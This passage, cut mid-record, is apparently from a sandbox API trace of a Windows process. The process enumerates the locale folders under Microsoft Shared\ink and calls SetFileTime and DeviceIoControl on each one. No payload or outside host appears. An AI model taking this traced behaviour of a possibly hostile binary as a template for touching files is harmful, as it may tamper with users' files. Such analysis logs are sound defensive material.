ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.988] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.988] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.988] GetLastError () returned 0x12 [0143.988] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.988] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.988] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.989] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.989] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.989] GetLastError () returned 0x12 [0143.989] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.989] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0143.989] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.033] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.033] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.034] NtClose (Handle=0x1a4) returned 0x0 [0144.034] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.034] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.034] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.034] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.034] GetLastError () returned 0x12 [0144.035] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.035] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.035] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.035] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.035] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.035] GetLastError () returned 0x12 [0144.035] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.035] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0144.035] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0144.035] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0144.035] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0144.035] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.037] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.037] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.037] NtClose (Handle=0x198) returned 0x0 [0144.037] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.037] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.038] GetLastError () returned 0x12 [0144.038] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.038] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.038] GetLastError () returned 0x12 [0144.038] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0144.038] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0144.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.040] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.040] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.040] NtClose (Handle=0x1a4) returned 0x0 [0144.040] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.040] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.041] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.041] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.041] GetLastError () returned 0x12 [0144.041] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.041] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.042] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.042] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, 